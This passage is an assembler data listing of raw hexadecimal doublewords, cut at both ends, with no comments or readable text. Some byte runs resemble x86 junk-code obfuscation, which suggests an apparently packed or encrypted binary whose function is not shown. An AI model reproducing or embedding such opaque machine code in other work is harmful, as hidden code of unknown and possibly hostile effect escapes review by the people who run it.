2F24C069h, 1C9E92Ch, 0BD770000h, 0C03CCC1Eh, 9CC0FF04h dd 0E42538F0h, 77D67054h, 99A31722h, 94E3E70Fh, 1E64C394h dd 0E6081DF0h, 48392F93h, 57B04F56h, 0FF456D42h, 0CBAB48ACh dd 0BCC85CB1h, 33C3947Bh, 0DA01EBCFh, 0C9944F48h, 3E4930F3h dd 0E30BE503h, 0BD9F2C1Eh, 0CF67EB2Fh, 3A6132BFh, 45BF4E6Ah dd 2C353BA4h, 3A24259Ah, 0B5AF2668h, 47C69Bh, 6F2E0000h dd 5AE4760Dh, 0B47810E5h, 61E1527Ah, 0C394A765h, 0D1A590E4h dd 1F3802FDh, 0F472065Ah, 73FD2B55h, 9FEA5AFBh, 0B82CBEBDh dd 3A61DBCCh, 72D17F43h, 0DCAC8408h, 93A61DBh, 47E61AABh dd 622C36B7h, 9Fh, 0F8D5DE8Ah, 605FA514h, 0CCF30BFAh, 66EA0478h dd 0E35762B7h, 7DCE93Ah, 9418319Fh, 5BFB0CC3h, 0A590E448h dd 4942FD41h, 1DE3430Ch, 71E2C63Ah, 1ECC5725h, 669F7196h dd 82209F42h, 2B2D5A97h, 0A645C26Ch, 0DE8FAC0Dh, 0C3290DEDh dd 6CF7CED2h, 89467983h, 8661A7DAh, 47AE61E1h, 71000001h dd 0D8352E25h, 8667FCCDh, 709D467Bh, 0DFC82B2Ah, 0DA79FAC5h dd 1D207893h, 0EDD029C6h, 0B08F9976h, 43142A3h, 0B63E32DFh dd 0C5854BD2h, 0DE7EE655h, 8F78FBDAh, 18944F7Ah, 24A897EDh dd 0DED046E0h, 0E072F8D5h, 941D384Ch, 0A2908FC3h, 0C1B31A91h dd 2077C63Ah, 0AA13F711h, 75F76C59h, 0DDE43AEBh, 0A9DD1569h dd 3EC39491h, 91CEBA32h, 7941C394h, 5663B405h, 3C80AEE2h dd 9D11DB60h, 0BD9E6D3Ah, 0F825370Bh, 0CCFD08A0h, 0AB1F2A7Dh dd 7EE07357h, 3A61230Eh, 1FFB01ECh, 0B49CAC48h, 6BDF3312h dd 8B2AE817h, 97477092h, 0B6839479h, 53840ADh, 90DEB1h dd 0BD660000h, 8C9F4750h, 91F5C9BDh, 7F3FE92Dh, 50D4061Dh dd 0BD84EB12h, 0A9A4F05Dh, 0F18C1B5h, 0B3C42132h, 61323286h dd 5D8DB69Eh, 3F161E8Fh, 92169711h, 0ABAECF2Dh, 0F1D06F52h dd 17F610F6h, 0A02C3702h, 0EA152075h, 3E4DA93Fh, 927B9511h dd 5E2A4281h, 916AB609h, 369C4D20h, 0F8C2BD6Ah, 0FA8EFA72h dd 39016AB6h, 728871C5h, 4642FF43h, 8E555E47h, 0B6FA6266h dd 0B99DE56Ah, 7BB12EBAh, 0BEB399Ch, 0FC090422h, 39A7DC1h dd 22000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 68CF7BCFh, 794Ah, 89242C89h, 4C581E5h, 83000000h, 2C8704EDh dd 0DF685C24h, 89000065h, 0B968240Ch, 89000064h, 3A68241Ch dd 89000013h, 9BA2414h, 89061154h, 8B545AD1h, 0C483241Ch dd 0DBF6804h, 4890000h, 89C88924h, 0FF580843h, 835B2434h dd 34FF04C4h, 0C4835924h, 26BDE904h, 0D172FFFAh, 0AAC36345h dd 1A7776A2h, 0FD693555h, 11581BB8h, 0FFC50306h, 69DB43E0h dd 90654771h, 9CFC5235h, 2BF5011h, 3A8CA51Eh, 1CDAD239h dd 40CBA425h, 0F2E84D35h, 457C7C7Ah, 0B51C3147h, 8705297Fh dd 7FADB950h, 64BC782Eh, 31A20338h, 0E0C1A33Dh, 0FCBCFE5Ah dd 0C6AAD946h, 0B860441Fh, 3A22A70Eh, 3478B617h, 0FE866h dd 0FAAB0000h, 0EDCE77Bh, 0ABDCF2C1h, 0CFA0D524h, 81F55912h dd 5C84C1h, 0D840F00h, 60000000h, 0E4818FBFh, 69E78132h dd 617887F0h, 8A0FFF2Bh, 2, 1C8BD78Bh, 815A5139h, 9EA6F0F3h dd 10E96Ah, 21D40000h, 0F1A6E9FAh, 0CF781E5h, 0E325256Fh dd 0F3817111h, 1FD7DFD6h, 5E8h, 0E35F8B00h, 5AFC4CD3h dd 0F308C381h, 8A0F0C32h, 6, 830Fh, 0E8530000h, 0Ch, 3B2BEF9Bh dd 0BEE73D4Eh, 43840C5Eh, 18C0Fh, 5AF50000h, 6639048Fh dd 0EF81C68Bh, 4E62B5Fh, 81C7B70Fh, 0E62B5BC7h, 42B86604h dd 34FF81DFh, 0FFFFFA4h, 0FFFF7D85h, 0EE8166FFh, 8EBA3E6h dd 1A6BC2CDh, 0 dd 0A6AE9h, 5B516800h, 7AE90611h, 68FFFAE9h, 6115C20h dd 0FAE970E9h, 5DDE68FFh, 66E90611h, 68FFFAE9h, 6115EB5h dd 0FAE95CE9h, 5FE268FFh, 52E90611h, 68FFFAE9h, 611617Fh dd 0FAE948E9h, 627D68FFh, 3EE90611h, 43FFFAE9h, 0CE7502Eh dd 0C722EDE9h, 86612EA8h, 589B6462h, 0F4D9A620h, 0B70F6F3Bh dd 0F2CC2DC8h, 0E88E205h, 4E48A641h, 0DB0C6881h, 7BAEB656h dd 51C92C7Dh, 0D17B5396h, 0E51BDE69h, 45EE6A8Eh, 759D5CB8h dd 2B8763DFh, 4640BE01h, 0C52DB1F9h, 582C78EBh, 21194F8Ah dd 0B17EE9C7h, 0C66F9256h, 8D7DD010h, 0EEA32DBh, 53E44F01h dd 7D6F9254h, 579014E7h, 0AC8CBE18h, 0F3A308A3h, 5093BC0Dh dd 42A4BF17h, 0CD7AA644h, 2758h, 637B7D00h, 42A6A19Fh dd 0CD7AA644h, 73E464CFh, 11E94F8Ah, 33E770FBh, 4B816F92h dd 17C22980h, 0E365BC0Eh, 72000000h, 7E5836B4h, 5D4AD700h dd 405D759Dh, 447C8F81h, 4811C775h, 2C717D9h, 5BF502FEh dd 2504EF65h, 725A1DAh, 5D8C15DBh, 136B0E39h, 619A5DBBh dd 7CEEE802h, 7517209Ch, 18328CE2h, 4945A1A2h, 0C9C53BBEh dd 0FC6CEB7Eh, 2C42759Dh, 78D4B235h, 0B816548Fh, 6B63855Eh dd 7E6030DCh, 0F5895AB4h, 3C4F8B10h, 0D08815DEh, 53AF6F92h dd 2600F8A4h, 4B8C7920h, 5955B33h, 9887B0DDh, 88E64C92h dd 8755A4AAh, 0D25A336Ah, 44DF5225h, 0C7004985h, 601C2BA3h dd 45A5BE98h, 37BFE49h, 3FAB498Bh, 0AA0E45Ah, 82ACBh, 0E88E500h dd 4B43A641h, 840279FCh, 0C2BC383Bh, 1C7AF275h, 81955AB3h dd 47A26D69h, 4DFA826h, 0D81BE4E2h, 965B24A2h, 0B7B07DE6h dd 0CAC77BAEh, 5A34B493h, 9AF40AEDh, 637B362Dh, 0A90581F8h dd 1F12F94Fh, 9548E0A1h, 4D968E53h, 0C87709CEh, 7EDF1FC8h dd 6ED24F8Ah, 0DBB33730h, 923EC931h, 923F90D9h, 0D7223A6Fh dd 0E0D1982h, 0C08ABCh, 0B4AB0000h, 29B25836h, 9C57F5D1h dd 759D5955h, 0AE1FB88Eh, 0D8DAAD2Ch, 3236B42Fh, 0A31D4300h dd 9966C239h, 84A6205Eh, 2600EAFCh, 89B5613Dh, 1BE4544Fh dd 0EC0CCF17h, 84E77892h, 94F2AE0Ah, 83A4C343h, 0A7C10249h dd 9C7C202Fh, 4D49A1A2h, 8F076782h, 5BDFB1B5h, 0C13CAEE4h dd 75Bh, 907F5794h, 0CBB41255h, 0AF5D128h, 44338BEFh, 824D49A1h dd 38B0648Dh, 0F576F15Eh, 0B1CB2E99h, 718F6AD5h, 0D741AA15h dd 0AEB87F0Ch, 0E215947Bh, 4D3034B4h, 9EC4AFCh, 70503F9Bh dd 0AC3CC112h, 655B759Dh, 9DAC2DF2h, 1AF64A75h, 18F40AEDh dd 9DAC42CFh, 0B00E6875h, 0A494A69Ah, 9A7650AFh, 36B4362Dh dd 0D329B258h, 0FA31DD91h, 0AF0B0D5Ch, 0C740FB71h, 8446FD4Bh dd 40A68C7Bh, 0A8BE9CFAh, 0FFDCAACFh, 0F0BDA649h, 7759D9Fh dd 5B8C0C3Bh, 4F8AB733h, 0B708221Eh, 0C6C03A39h, 245A9D6Ah dd 19DA80AAh, 136B83E2h, 9AA501F9h, 0BC935FCFh, 7742E4C6h dd 7906D10Fh, 0AAE84C52h, 6BB836B3h, 10E8121Dh, 90EE0CE7h dd 28F58B6h, 11E84B73h, 0C84C2729h, 18BA611Fh, 87E500EFh dd 60F3D10Fh, 0E84B749Bh, 0FF6D6981h, 0CF01F903h, 0A23A1319h dd 9A36C1FEh, 4B9489D1h, 408B81E8h, 4F3CB21h, 19338BE1h dd 4B940256h, 8B7EF6E8h, 0B90680FEh, 6660985Bh, 8EB14C4h dd 227694F2h, 0CF1876BCh, 0C238B033h, 7BFCDA26h, 897887FFh dd 9BF53DA1h, 2D64D848h, 0D775C5BCh, 3565CC1Ch, 9D6CE4DCh dd 6AE1DF44h, 0B011D74Fh, 734BA240h, 6CEF61D9h, 2D1A250Fh dd 305h, 9386D4CAh, 6E68804Bh, 0BF8354B2h, 0DA4F8A74h dd 0CD5E8966h, 54C48382h, 0F84EA892h, 4F2E37A1h, 9BF90685h dd 7945FBDh, 2CEE83ACh, 9C50232Ch, 99C870B8h, 0E7FF8BA1h dd 1CC72503h, 0E878988Fh, 1F4A3EA4h, 0CB753A4Bh, 77E0E06Fh dd 0C26A8FBEh, 0E0635DBDh, 0A0430C8Ah, 78F64C4Ah, 9F6B7514h dd 59D10EDh, 156A0000h, 0D02BCEB9h, 8FEE09F6h, 49AD4837h dd 767824Dh, 22CFC08Fh, 2F98F676h, 6CDBB334h, 0A8176F89h dd 0E8572F4Dh, 3DC21503h, 5A7BAEBAh, 73512057h, 9D5D1BE0h dd 37C03875h, 0A9876B73h, 8A744EBEh, 2DDF234Fh, 1C7A54AAh dd 3268353Eh, 0B38F6F92h, 449AC884h, 7FC31B75h, 4AA6D601h dd 358B497Fh, 870A5D22h, 0D3047A69h, 69870A4Eh, 5D399565h dd 9DF977F2h, 3896D46Fh, 54324912h, 0CDC92DB6h, 0C534AC5Fh dd 7544DCC3h, 4F3896D4h, 1940F75Ch, 207A8C2h, 7B4D0000h dd 0B6A19F63h, 4F8C244Dh, 36FB6C52h, 5D6F8C03h, 840266FDh dd 0E0DEBA66h, 0C08F0767h, 2E6B0AC0h, 26DD4F70h, 0A01E5E19h dd 8593218Ah, 314F6F8Bh, 209B9F55h, 7EECDE54h, 4C69Fh dd 92EC0100h, 2FA7C225h, 68668560h, 0A620449Fh, 0E0DE1ED9h dd 2DF93617h, 0E306F1CDh, 0A0430C8Ah, 64FF4846h, 2A3F8806h dd 0BB14994Ah, 6E237BAEh, 9F637B77h, 244DB6A1h, 0B88E4F8Ch dd 0EE1B940Eh, 3DC21598h, 5A6F8BF9h, 3B2C0AE6h, 6F8BF876h dd 0EE92BD9Dh, 967F812h, 0C927C28Dh, 66845FCDh, 7993EB0Fh dd 60072581h, 0EA0021E8h, 0A30823ECh, 4BC1451h, 151h, 5836B411h dd 985E57Eh, 738952FEh, 6086AC1Bh, 5FABBC9Ah, 4A4F8A58h dd 4A9354F6h, 646F9258h, 5FC41DECh, 0C0BC0DF0h, 3Fh, 1D637BD5h dd 9D5D45CAh, 0FB6C5275h, 759D5D36h, 0C201FD5Dh, 0DE0228A6h dd 9BD30462h, 964F8A74h, 9E2F80AAh, 0C86F9234h, 91ED0FC8h dd 8FBD1952h, 0EDDCA453h, 0E172F94h, 85F0BCh, 0B4850000h dd 29B25836h, 8C57F5D1h, 53AE7A6Eh, 0E5DB8C3Fh, 2C868F63h dd 7CD873ADh, 9FF775CEh, 0FA9E2530h, 5E9C759Dh, 4B939760h dd 0A8AB89E7h, 3CC7704Eh, 4F9029EEh, 1ED9370Bh, 0DC17E0DEh dd 3A20229Ch, 51DE4F5Ch, 3995ABBh, 19560000h, 0D417D2BDh dd 93EA0DFAh, 4DA94C3Bh, 0B638671h, 26CBC4B3h, 339CFA72h dd 70DFB730h, 0AC1B73F5h, 0EC5B3349h, 41CE1907h, 567BAEBCh dd 34B4245Bh, 0F40AED5Ah, 51362D9Ah, 5D1BE073h, 0C038759Dh dd 403EBC37h, 0E3DB11AAh, 62C81E14h, 7A3FD304h, 0C63A4F8Ah dd 0E6448AE8h, 0C5F3FBFAh, 0A7BC4192h, 67DB6F91h, 28B334D8h dd 0E26F91A9h, 0B9155192h, 0D8A0AF93h, 0E3479FF1h, 0C4BE5285h dd 967497Eh, 8473382Bh, 0B8806986h, 8684E6ABh, 0D9B53469h dd 0CD4DCF33h, 0D5A29E42h, 549651EEh, 0DF68D07Ah, 42E8E604h dd 0BC0B83F9h, 0AC8A7076h, 8A586FBBh, 88E65A4Fh, 0B8522C4Fh dd 0D9398E40h, 0F5B14E5Ah, 9C2D864Ah, 366F9244h, 985BCB3Eh dd 10C8625Ch, 45FC4E7h, 55C0BC0Eh, 0D5000000h, 0A19F637Bh dd 0BE4945A6h, 73D515DEh, 0C3044F8Ah, 0DD3D2FA7h, 0D88C130Bh dd 0DC6BA3B4h, 0B7A4B220h, 0CFAD96B9h, 0D2A0C579h, 0C9A57E0Eh dd 0E53F8823h, 93696F91h, 559EFC28h, 6F91E3C8h, 0C9E413EFh dd 0BC0E6762h, 1EE37452h, 356F91F0h, 0B4CD3AC5h, 0EA000000h dd 7E5836B4h, 5D4AD700h, 9169759Dh, 7EF4AA66h, 0BFC501D8h dd 0EE89B6FCh, 0BE18578Eh, 599728C2h, 0F674CF7Dh, 9D242F98h dd 93759DA9h, 0EBE3065Dh, 47A5400Fh, 11D5DD4Fh, 2C64CF29h dd 114F8AB7h, 0B8522C4Eh, 3D1BE440h, 37C0BE3Ah, 0A9876B73h dd 84C2AEBEh, 41BF8349h, 9F686686h, 0A8AA2444h, 0E45AC1BCh dd 0FCDC39D3h, 0CB000001h, 0F46FD8B6h, 4FAA1571h, 0EE95630h dd 0C023ECEAh, 6C612EA8h, 3F97D7C3h, 7A549550h, 0B6106A8Dh dd 0F6D02EC9h, 0A3B4E009h, 7BAEBDDEh dd 0B441B4F5h, 820FD834h, 91759D5Ch, 5093CDA9h, 0AD8DBF17h dd 3AB0B3A2h, 7B8CF35Ch, 0B6A19F63h, 4F8A7436h, 7725C73Bh dd 0F21D79FCh, 9233D667h, 9178F06Fh, 239BD215h, 944D872Dh dd 0CF78074Dh, 0E2377DCh, 0C028BCh, 0B4CD0000h, 8409DA36h dd 93759D5Ch, 8659F3AFh, 0D00E6866h, 4FFDD917h, 5CBB4093h dd 60D8759Dh, 33B235D7h, 9759D59h, 0C92C9BF3h, 7AFDDBB3h dd 0D07C8B03h, 3DB31EC0h, 9B77AB41h, 667AAABDh, 9B674F8Ah dd 1AE0062Ch, 74802B3Ch, 0BDB34984h, 859576h, 964AF531h dd 50723F28h, 0B9816985h, 0AA403EBAh, 0BBBC9A76h, 9CFC4B43h dd 3C27215Bh, 6985506Fh, 32D8B484h, 46A641CEh, 53A48A48h dd 11BBE45Ah, 0FE34h, 0DAB4C900h, 176F8A6Dh, 502E4DA8h dd 0EEE80CE7h, 28A6C621h, 0D5C16E5Fh, 0AB4E3995h, 688B7452h dd 2CC7B00Eh, 0E207F0CEh, 0BEDCA1B2h, 0B6FB7BAEh, 5A34B44Fh dd 9AF40AEDh, 36B4362Dh, 36C22532h, 0F1ADE3D6h, 6C6A805Bh dd 0F9578FA3h, 32BC412Fh, 9FF95552h, 8CB72754h, 5ECC4C4Fh dd 6E85E760h, 35D7B30Bh, 41BF3AC5h, 594D7A2Fh, 78FBFD42h dd 0B06882FCh, 72886BD4h, 0B4C04D96h, 6BD76F8Ch, 0B555DA0Dh dd 9E626F8Ch, 74520822h, 8CB51EE3h, 3AC5356Fh, 0A4F6BAFh dd 0AB23474Bh, 0C0BE3E81h, 7FEDE903h, 3AECDF05h, 98A910D6h dd 0C90A6462h, 0C73BD1ADh, 0D02EC938h, 0E2185791h, 3E9A46E4h dd 0B5EE6442h, 8CCF0664h, 7CC789B6h, 66C9EF8h, 0A7ADD920h dd 0F8C70EF4h, 0E9E50653h, 967020Dh, 9C4C4FE7h, 7CD852ADh dd 0BC1A5093h, 2EF36442h, 45531217h, 47864AF5h, 3, 0B42C9360h dd 2AAD5F37h, 8F50FAD4h, 60FB116Dh, 0DA9D8F07h, 0BD0624A2h dd 10AB413Dh, 8F50FAD4h, 63F41670h, 199C8E08h, 5404EC83h dd 8124048Fh, 42404h, 89530000h, 4C381E3h, 83000000h, 1C8704EBh dd 2C895C24h, 5046824h, 0C890000h, 9A685324h, 5B30EE15h dd 0BBA3B951h, 0CB292ADCh, 5BDD8959h, 240C8B54h, 5504C483h dd 68242C81h, 8F65C413h, 41810841h, 0C4136808h, 2434FF65h dd 4C48159h, 8B000000h, 8957242Ch, 4C781E7h, 83000000h dd 3C8704C7h, 1EE95C24h, 3AFFFADFh, 0B8B7F086h, 61163A0h dd 0E0FFC503h, 633C616Ah, 804281Fh, 44CF2610h, 3A14C8A1h dd 58B0D4A8h, 4F1D9DACh, 3D86912Ch, 652C8D8Dh, 0B58B0611h dd 60B21DDh, 174D8D89h, 8F0F060Bh, 6, 1CDB531h, 85C7060Bh dd 60B0119h, 5C40h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0D7C35242h, 0C70234ECh, 0B100985h, 6 dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 14E83FDAh, 36000000h, 663FFC72h, 1B2FF190h dd 0FA3ED861h, 0EE12A590h, 80F6EFF0h, 0FF5E34E3h, 0B1AA9B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0EC9CFE1Ch, 50DD1B8Bh, 95FF5366h, 60B0AC5h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0A4C35343h dd 640E6904h, 2918D026h, 0B005D8Dh, 0FF006A06h, 0B32DD95h dd 0EBC08B06h, 0CA9E4F4Fh, 69AE62h, 6785FA15h, 0FC9744C9h dd 0BD70EE92h, 6E0BB07Bh, 32FE5A59h, 0BB443D2Dh, 628C4AE6h dd 30227D90h, 2159806h, 0C4D1E365h, 0D3697389h, 6922452h dd 738EEEAh, 904882A8h, 72581C3h, 536E654Fh, 8C72A618h dd 6955662Ah, 10E8h, 9E4B6900h, 6A9FCDAEh, 12D8158Eh, 993C6663h dd 665BF801h, 0C381D68Bh, 6A22h, 68D6B70Fh, 0 dd 8B59C18Bh, 0FE90B3Ch, 91000000h, 2369A364h, 0E839B8AEh dd 1F44114Ch, 0C781630Ah, 2E116E83h, 19FD858Bh, 0C781060Bh dd 5CBBD634h, 0FE9h, 0A8D2A100h, 1D149AA7h, 1F2D54B9h dd 0AA6880BDh, 0DE8BC781h, 858B781Fh, 60B1241h, 0B048F57h dd 1890Fh, 81F90000h, 9A62B9E9h, 0EE90Ch, 80330000h, 0EB3EABCEh dd 3F2EE1B7h, 0DBB27E38h, 62B5C181h, 0F08B0C9Ah, 96A8F981h dd 850FFFFFh, 17h, 62EA8166h, 1DE9B7h, 0EF0D0000h, 0DC014AADh dd 682BCE00h, 66BE79AFh, 60E9F28Bh, 95FFFFFFh, 956881BCh dd 8D7D3A23h, 11673E8Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0C6BF0F25h, 174D8D89h dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 0C40B36C3h, 11985C7h, 6524060Bh, 85890000h dd 60B3275h, 100985C7h, 60Bh, 0CE90000h, 0E2000000h, 91623F18h dd 0FAA03ACCh, 0FF13BE62h, 0B1F8DB5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0A814EF7h, 13E8F6D5h, 0DA000000h, 6167CBCh, 287E6E96h dd 4961BA91h, 1024C83Dh, 858B55FCh, 60B1621h, 0C595FF58h dd 6A060B0Ah, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 0FD5C351h, 284h, 6AF08B00h, 0DD95FF00h dd 8B060B32h, 0E83AEBC0h, 0DA6D8E72h, 0EBEDEE59h, 638B77Ch dd 2D7BB8D0h, 6D95AAECh, 9D0C0DEFh, 0E1BEC0F2h, 7654ECF7h dd 6036D61h, 0F0693E39h, 0E9969B90h, 0F055E7EAh, 0B39AD6Ch dd 8444E861h, 0DE8BBh, 0CE0C0000h, 292A317Fh, 0EBDEF90Ch dd 0E92C5C17h, 0Bh, 4B715678h, 0D5A1E786h, 5F681C5Bh, 0C781E28Ah dd 6A4Eh, 2DFD8D01h, 0BA060Bh, 0E8000000h, 5, 75EDE810h dd 0BADB81DAh, 594D8D2Dh, 8B3A34FFh, 0B0F199Dh, 0BD315E06h dd 60B2305h, 0D61EE81h, 13E97285h, 2C000000h, 0F8D7217Bh dd 0FFC8AE73h, 5365B218h, 69491559h, 0F6815359h, 4D8DEA56h dd 18B59589h, 0EE81060Bh, 4FCC0378h, 1F71858Bh, 3489060Bh dd 0F856FC17h, 4EA8358h, 17E59D2Bh, 0FA81060Bh, 0FFFF9658h dd 0FF9E850Fh, 8D8BFFFFh, 60B01F1h, 68EC8D8Dh, 6CB70611h dd 1785B529h, 8D89060Bh, 60B174Dh, 0D68B6652h, 1985C75Bh dd 8C060B01h, 6A000058h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0C697C352h, 7C51B13h dd 66920EAFh, 0FF8A8BFh, 0C89h, 0B9666000h, 0EE81FBCAh dd 4E92D88Bh, 985C761h, 60B10h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8BFEC351h dd 199D89D9h, 0FF060B12h, 0B1F8DB5h, 29B50B06h, 0FF060B10h dd 0B0AC595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1404h, 0C3504000h, 0FF006AB9h, 0B32DD95h, 0EBC08B06h dd 74251C3Ah, 9BBC073Ch, 0F241562h, 2832BB00h, 5BE710B5h dd 1694106h, 2908D241h, 0A0E3BE32h, 0E31071CDh, 806DCC12h dd 98C78BB8h, 0B9C1F71Ch, 4476B120h, 3E243EFAh, 8DD3ADAEh dd 1169A88Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0FCCA38BBh, 6DBD8BD7h, 89060B01h dd 0B174D8Dh, 0B5958906h, 0C7060B01h, 0B011985h, 57F806h dd 0F9B70F00h, 100985C7h, 60Bh, 0B5FF0000h, 60B12A9h, 2F29958Bh dd 95FF060Bh, 60B0AC5h, 817EB866h, 0CE9h, 0AE73F800h, 0B218FFC8h dd 15595365h, 0FF006A49h, 0B32DD95h, 0EBC08B06h, 6C524B48h dd 0EA13A717h, 0E8E12989h, 71B8B6C4h, 8AD1B115h, 50F936D4h dd 74CB6082h, 74BB424Ah, 52FDCEFAh, 1859CC3Eh, 88EEBABCh dd 173E3F84h, 6223FD39h, 1F1A610Dh, 9D937A80h, 0BDC2367Fh dd 907BF05h, 0DBC794F2h, 6E817h, 5C800000h, 0ABA0D127h dd 9529F560h, 60B2B25h, 8D895961h, 60B1069h, 6529C181h dd 9D8B0000h, 60B05CDh, 8A0FD22Bh, 4, 50FBB66h, 8111048Bh dd 58AD59C0h, 11E94Fh, 9BEC0000h, 0DDC776B2h, 0C5D42F64h dd 0DBC60F3Ah, 81BD6084h, 0F257F3F0h, 97BE665Fh, 0FF08110h dd 0E92A763Dh, 6, 1A606B2Fh, 4891848h, 6860F11h, 2B000000h dd 0B15E99Dh, 0DF816606h, 0EA8159F5h, 49DD0A5Dh, 13E8h dd 55FA4500h, 0B167FD15h, 75D18293h, 0A7020FB6h, 0B1D83A94h dd 0CE9h, 8A60FB00h, 1CE9D09Dh, 36BC3496h, 0C2815B71h dd 49DD0A59h, 60D78B60h, 66D68B66h, 6711CB81h, 0FA816161h dd 0FFFF9BD4h, 22850Fh, 51600000h, 644665BEh, 0E2815B15h dd 1557E1B1h, 21E961h, 66EC0000h, 999A8A77h, 1AAF7307h dd 8A19D9DDh, 0BF665750h, 5B5E4F9Dh, 0FFFF33E9h, 7BC23CFFh dd 0E80F0BEFh, 8, 58AB009Fh, 0C49033A9h, 0E8DCBB66h, 0F88B6659h dd 704DC181h, 8B660000h, 1BE968DAh, 0FA8B0000h, 6985895Ah dd 0FF060B1Ah, 0F08B6631h, 5E95358h, 9000000h, 0CDDE0305h dd 8EE8815Eh, 89322E94h, 0B04A5BDh, 0C4E88106h, 8B0D1AE7h dd 8CF081F2h, 0E9499D89h, 0Ah, 975B86E7h, 119474DDh, 189F0DCh dd 8101E983h, 88CFCD6h, 49494937h, 718D8B60h, 80060B06h dd 81612DC0h, 1EAh, 1B850F00h, 8B000000h, 0B0BD19Dh, 1BE906h dd 8C930000h, 24CE0375h, 0A427B90Eh, 59FAE40h, 0E9F8F1D9h dd 0FFFFFF7Fh, 992BC527h, 828D8D96h, 6A06116Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5E64C357h, 0AAC6ACDAh, 4D8D8937h, 66060B17h, 85C7DF8Bh dd 60B0119h, 5F84h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 67C35040h, 90E63183h, 0E9197D71h, 14h dd 0AA5693C5h, 7A9895E7h, 0EEAF677Bh, 0BF30F16Bh, 99CF0D58h dd 100985C7h, 60Bh, 8E90000h, 3000000h, 0C96EBB0Ch, 0FF65DB6Dh dd 0B19C9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1404h, 0C3514100h, 0FFD5B0BFh, 0B0AC595h, 11E906h, 121F0000h dd 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h, 6A4A6DFEh, 0DD95FF00h dd 8B060B32h, 0C26DEBC0h, 39F3A3E6h, 0DDF77A1h, 152CA0FCh dd 74B3F74Eh, 0F48B4712h, 0C77B1AC5h, 0F48D0408h, 2C8DAC97h dd 0DE782ED0h, 4C1E854h, 8AF41A34h, 0DD3D7CF9h, 0A0F85E52h dd 97926708h, 26ACBA8Ah, 0D0A6928h, 0ED04C79h, 32AAB3ADh dd 0E356821h, 759A3E78h, 0EFE31BA1h, 0BF274AA3h, 47190CC9h dd 82C0558h, 0F2633E73h, 0DAD2CB56h, 0E86D0468h, 6D898D8Dh dd 9D890611h, 60B18E5h, 174D8D89h, 858B060Bh, 60B03C9h dd 11985C7h, 5C18060Bh, 0B5890000h, 60B28CDh, 10E8h, 0C8D1DF00h dd 50369DA8h, 89B17D99h, 0FC86FE46h, 965DB873h, 0C75806B6h dd 0B100985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0A46ABB08h, 0B5FF0FE3h dd 60B1B7Dh, 8870Fh, 8E0F0000h, 2, 0BD8B6160h, 60B0B1Dh dd 0AC595FFh, 6A060Bh, 32DD95FFh, 0C08B060Bh, 9942AEBh dd 6C6D0051h, 5359918h, 0F1E276E7h, 0EADCA3E9h, 0D061A3DCh dd 4F34D70Dh dd 0EF801AA8h, 36E26D06h, 9975820Fh, 0BDEFDD68h, 6E7C8D8Dh dd 8B600611h, 0B177DB5h, 128E0F06h, 0E9000000h, 0Dh, 57C6E3A4h dd 4A1307F9h, 5067A6B7h, 8D896120h, 60B174Dh, 68F0Fh, 8D890000h dd 60B2425h, 11985C7h, 68D4060Bh, 0D18B0000h, 100985C7h dd 60Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 0B0EED2C3h, 6890F44h, 89000000h dd 0B14A9BDh, 0E0816606h, 858BBD61h, 60B29E5h, 2705B5FFh dd 6A060Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 8855CFC3h, 8B9C5B55h, 0B02FDBDh, 0C595FF06h dd 0B060B0Ah, 0B0EFDBDh, 0FF006A06h, 0B32DD95h, 0EBC08B06h dd 0E549396Bh, 0F598E6A9h, 1A17C968h, 0BFE8F2F5h, 495EC5C0h dd 7828DFACh, 9019AF08h, 0FB08C4CAh, 3BCBE583h, 9BAB312Eh dd 8DB13963h, 0C23803DFh, 465E381Fh, 8091EEB5h, 0B1C6A5FCh dd 4B47523Ch, 0EEE72D8Ch, 14A14473h, 0E76C0272h, 66D1D577h dd 0F7C10DC2h, 0C75CA0CCh, 55A870D3h, 0A2DE9EFBh, 2F8365E2h dd 0D06E90BDh, 9DA2BB90h, 0EE8h, 0D81DB00h, 0E60903FEh dd 67D2A678h, 8A378EDCh, 0BF6659F0h, 0C181DBE3h, 6FBEh dd 348BDB2Bh, 0D7B70F19h, 0BCD4EE81h, 56BF53B1h, 8124F038h dd 3CCEFBF6h, 0E99D0165h, 81060B08h, 0B6B5FFEEh, 89FBB47Eh dd 958B1934h, 60B04A9h, 0BE9h, 3BCE1000h, 4C5302C3h, 28011E92h dd 0D5E7EB81h, 858B2C81h, 60B243Dh, 0D5E3C381h, 0BD892C81h dd 60B27D9h, 90C0FB81h, 850FFFFFh, 0FFFFFF9Eh, 0E8CCC080h dd 0Fh, 0AF2EF6Ch, 2B5B7A78h, 391B67A7h, 60ABBF39h, 891EE880h dd 0B00399Dh, 565A6106h, 10E9h, 2DED1000h, 0BCD5D89Eh dd 6F3EC741h, 372300E7h, 0C2815BB8h, 